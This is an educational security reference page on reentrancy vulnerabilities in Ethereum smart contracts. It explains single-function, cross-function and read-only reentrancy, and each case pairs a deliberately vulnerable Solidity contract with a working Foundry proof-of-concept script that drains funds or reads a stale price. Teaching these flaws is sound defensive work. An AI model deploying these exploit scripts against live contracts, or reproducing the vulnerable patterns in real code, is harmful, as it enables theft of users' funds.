Reentrancy
SCWE-046: Reentrancy Attacks
Theory
Reentrancy is one of the most well-known and impactful vulnerabilities in Ethereum smart contracts. It occurs when a contract performs an external call before updating its state. This allows the external contract, possibly malicious, to reenter the original function and repeat certain actions, like withdrawals, using the same state. Through such attacks, an attacker can possibly drain all the funds from a contract.
If a smart contract function:
modifies balances after sending ETH,
changes storage after calling an external contract,
depends on invariants that must hold during execution,
then an attacker can exploit this state inconsistency to drain funds, bypass access checks, or repeatedly trigger logic.
How Reentrancy Works at the EVM Level
Contract A executes a function (e.g.,
withdraw()).Before updating its state, it performs a
CALLto an attacker contract.The attacker contract’s fallback or receive function is triggered.
The attacker calls back into A — re-entering — while A's state has not yet been updated.
The victim contract is tricked into repeating a sensitive operation (usually transferring funds).

Practice
Reentrancy does not only affect simple Ether withdrawals. It applies to any external call, including:
call(),delegatecall(),callcode()ERC777:
tokensReceived,ERC721:
onERC721Received,safeTransferFrom,_safeMintERC1155
onERC1155Received,safeTransferFrom,_mint,safeBatchTransferFrom,_mintBatchAnd other specified here
We may use the tool slither to automatically detect external function calls.
Single-function Reentrancy
Single-function reentrancy is the simplest and most direct form of the vulnerability. The attacker simply needs an entry point that:
performs a state-changing action,
but performs an external call before the state update,
and uses the affected state variable again upon re-entry.
Below is a minimal example. The contract reads a state variable, performs an external call, and only then updates the state, allowing the attacker to re-trigger the same logic multiple times.
contract Vault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
// Vulnerable: sending ETH before updating state
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "send failed");
// too late
balances[msg.sender] = 0;
}
}Running the below foundry script will drains the vault by performing a reentrant withdrawal.
// foundry script: PoC_SingleReentrancy.s.sol
pragma solidity ^0.8.20;
import "forge-std/Script.sol";
contract Attack {
SimpleBank target;
constructor(address _target) {
target = SimpleBank(_target);
}
// fallback gets triggered during the victim's external call
fallback() external payable {
// re-enter only while there is still money to steal
if (address(target).balance >= 1 ether) {
target.withdraw();
}
}
function attack() external payable {
target.deposit{value: msg.value}();
target.withdraw();
}
}
contract PoC_SingleReentrancy is Script {
function run() external {
vm.startBroadcast();
Attack attacker = new Attack(TARGET);
attacker.attack{value: 1 ether}();
vm.stopBroadcast();
}
}Cross-Function Reentrancy
Cross-function reentrancy happens when a vulnerable external call in one function allows an attacker to re-enter a different function that updates or depends on the same storage variables. The attacker does not re-enter the original function, but instead uses another entry point that manipulates the same state while it is still inconsistent.
In the following example, the transfer() function performs an external call before updating balances. The attacker re-enters the contract through the withdraw() function, which reads and modifies the same balances mapping. The vulnerability is not limited to transferring or withdrawing funds; what matters is the shared state and the unsafe sequencing of operations.
contract CrossBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// Vulnerable function
function transfer(address to, uint256 amount) external {
require(balances[msg.sender] >= amount);
// ❌ External call before effects
(bool ok,) = to.call("");
require(ok);
// State update happens too late
balances[msg.sender] -= amount;
balances[to] += amount;
}
// Secondary entry point touching the same storage
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0);
// critical state read before update
balances[msg.sender] = 0;
(bool ok,) = msg.sender.call{value: amount}("");
require(ok);
}
}Here, the attacker does not re-enter transfer().
Instead, the external call inside transfer() triggers the fallback of the attacker contract. The attacker then re-enters through withdraw(), which operates on the same balances mapping. Since the state has not yet been updated in the initial call, the attacker can exploit the stale values to extract funds or apply state changes multiple times.
// PoC_CrossFunctionReentrancy.s.sol
pragma solidity ^0.8.20;
import "forge-std/Script.sol";
interface ICrossBank {
function deposit() external payable;
function transfer(address to, uint256 amount) external;
function withdraw() external;
}
contract Attack {
ICrossBank target;
constructor(address _target) {
target = ICrossBank(_target);
}
fallback() external payable {
// During the transfer(), re-enter through withdraw()
if (address(target).balance >= 1 ether) {
target.withdraw();
}
}
function attack() external payable {
// Prime the balance
target.deposit{value: msg.value}();
// Trigger the vulnerable external call
target.transfer(address(this), msg.value);
}
}
contract PoC_CrossFunction is Script {
function run() external {
vm.startBroadcast();
Attack attacker = new Attack(TARGET);
attacker.attack{value: 1 ether}();
vm.stopBroadcast();
}
}Read-Only Reentrancy
Read-only reentrancy (also known as Cross-Contract Reentrancy) occurs when a view function is called during a reentrant execution. If the contract's state is temporarily inconsistent due to an ongoing external call, the view can return inaccurate data. This can mislead dependent protocols that rely on its output. Price oracles, on-chain accounting modules, liquidators, front-ends, and cross-chain bridges often read these view functions.
The example below illustrates the core pattern: the contract updates internal state after an external call, and a view function exposes this uncommitted state.
contract PriceFeed {
uint256 public price;
address public oracle;
constructor(address _oracle) {
oracle = _oracle;
price = 1000;
}
function updatePrice(uint256 newPrice) external {
require(msg.sender == oracle);
// external call before updating state
OracleCallback(msg.sender).onUpdate();
// state is updated too late
price = newPrice;
}
// view function vulnerable to reentrant reads
function getPrice() external view returns (uint256) {
return price;
}
}
interface OracleCallback {
function onUpdate() external;
}In the below exploit, observedPrice stores the old value (e.g., 1000), even though the intended new price is 7777. An external protocol relying on getPrice() during this window would act on stale information.
// PoC_ReadOnlyReentrancy.s.sol
pragma solidity ^0.8.20;
import "forge-std/Script.sol";
import "forge-std/console.sol";
interface IPriceFeed {
function updatePrice(uint256 newPrice) external;
function getPrice() external view returns (uint256);
}
contract MaliciousOracle {
IPriceFeed target;
uint256 public observedPrice;
constructor(address _target) {
target = IPriceFeed(_target);
}
// reentered during updatePrice()
function onUpdate() external {
// read the price while the state is inconsistent
observedPrice = target.getPrice();
}
function triggerUpdate(uint256 newPrice) external {
target.updatePrice(newPrice);
}
}
contract PoC_ReadOnlyReentrancy is Script {
function run() external {
vm.startBroadcast();
// Deploy or reference an existing PriceFeed
MaliciousOracle oracle = new MaliciousOracle(TARGET_PRICE_FEED);
// Trigger the vulnerable update
oracle.triggerUpdate(7777);
console.log("Observed stale price during reentrancy:", oracle.observedPrice);
vm.stopBroadcast();
}
}Resources
Last updated
Was this helpful?

